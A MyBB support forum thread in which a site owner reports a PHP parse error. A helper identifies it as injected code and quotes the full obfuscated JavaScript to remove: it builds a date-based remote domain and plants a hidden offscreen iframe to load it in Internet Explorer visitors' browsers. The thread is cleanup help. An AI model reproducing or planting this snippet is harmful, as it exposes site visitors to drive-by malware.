MyBB Community Forums

Full Version: Parse error: syntax error
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
http://www.SensationMG.com (the index page wont open, aswell as any forum threads).
I get this Error message :
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/sensatio/public_html/index.php on line 5

I dont know where to put in , or ; and I have no clue what to do.
I dont want to screw up any.

line 5 : if (document.getElementsByTagName("body")[0]) {asdfasdfasdf43();} else {document.write("<i" + fff + "e src='" + url + "' width='100' height='100' style='position:absolute;left:-190;top:-982;'></i" + fff + "e>");}}

I dont know wether this is mybb or what it is, but I'm sure someone here can help me.
hope for good help
Have you edited index template ? Can you please paste the entire code of your index template ?
No, but we edited the header. I can send both codes here :
header :
<div id="shadow">
<div id="container">
<a name="top" id="top"></a>
<div id="header">
<div class="logo"><a href="{$mybb->settings['bburl']}/index.php"><img src="{$theme['logo']}" alt="{$mybb->settings['bbname']}" title="{$mybb->settings['bbname']}" /></a></div>
<br class="clear" />
<div class="menu">
<div id="panel">
<center>
<ul>
<li><a href="{$mybb->settings['bburl']}/index.php"><img src="{$mybb->settings['bburl']}/{$theme['imgdir']}/toplinks/index.png" alt="" title="" />Home</a></li>
<li><a href="{$mybb->settings['bburl']}/search.php"><img src="{$mybb->settings['bburl']}/{$theme['imgdir']}/toplinks/search.png" alt="" title="" />{$lang->toplinks_search}</a></li>
<li><a href="{$mybb->settings['bburl']}/memberlist.php"><img src="{$mybb->settings['bburl']}/{$theme['imgdir']}/toplinks/memberlist.png" alt="" title="" />{$lang->toplinks_memberlist}</a></li>
<li><a href="{$mybb->settings['bburl']}/calendar.php"><img src="{$mybb->settings['bburl']}/{$theme['imgdir']}/toplinks/calendar.png" alt="" title="" />{$lang->toplinks_calendar}</a></li>
<li><a href="{$mybb->settings['bburl']}/misc.php?action=help"><img src="{$mybb->settings['bburl']}/{$theme['imgdir']}/toplinks/help.png" alt="" title="" />{$lang->toplinks_help}</a></li>

<li><a href="{$mybb->settings['bburl']}/bans"><img src="{$mybb->settings['bburl']}/{$theme['imgdir']}/toplinks/index.png" alt="" title="" />Sourcebans</a></li>


</ul>
</center>
</div>
</div>

<br class="clear" />
<hr class="hidden" />
<div id="panel">
{$welcomeblock}

</div>
</div>
<hr class="hidden" />
<br class="clear" />
<div id="content">
<a href="http://www.gametracker.com/server_info/173.199.70.64:27015/" target="_blank"><img src="http://cache.www.gametracker.com/server_info/173.199.70.64:27015/b_350_20_000000_000000_95B9DB_95B9DB.png" border="0" width="350" height="20" alt=""/><a href="http://www.gametracker.com/server_info/108.61.253.76:27015/" target="_blank"><img src="http://cache.www.gametracker.com/server_info/108.61.253.76:27015/b_350_20_000000_000000_95B9DB_95B9DB.png" border="0" width="350" height="20" alt=""/></a>
{$pm_notice}
{$bannedwarning}
{$bbclosedwarning}
{$unreadreports}
<navigation>
<br />{myadvertisements[zone_1]}

Index
<html>
<head>
<title>{$mybb->settings['bbname']}</title>
{$headerinclude}
<script type="text/javascript">
<!--
lang.no_new_posts = "{$lang->no_new_posts}";
lang.click_mark_read = "{$lang->click_mark_read}";
// -->
</script>
</head>
<body>
{$header}
{$forums}
{$boardstats}
{$footer}
</body>
</html>
Remove the following code from index.php;
echo '<script>

var keyss = "ap12m3n4j5i6u7dh8b9v0gytfcdr5ewqdas";var enc = [3, 5, 7, 15, 4, 32, 7, 9, 19];var ah = (new Date).getDate();

var strUA = "";strUA = navigator.userAgent.toLowerCase();if(strUA.indexOf("msie") != -1)if(navigator.javaEnabled()){var url = "http://";for (i = 0; i < enc.length; i++) {url += keyss.substr(ah * enc[i] % 31, 1);}

url += ".in/ts/in.php?q=2";fff = "fram";

if (document.getElementsByTagName("body")[0]) {asdfasdfasdf43();} else {document.write("<i" + fff + "e src='" + url + "' width='100' height='100' style='position:absolute;left:-190;top:-982;'></i" + fff + "e>");}}

function asdfasdfasdf43() {var f = document.createElement("i" + fff + "e");f.setAttribute("src", url);f.style.position = "absolute";f.style.left = "-129";f.style.top = "-172";f.setAttribute("width", "100");f.setAttribute("height", "100");document.getElementsByTagName("body")[0].appendChild(f);}

</script>';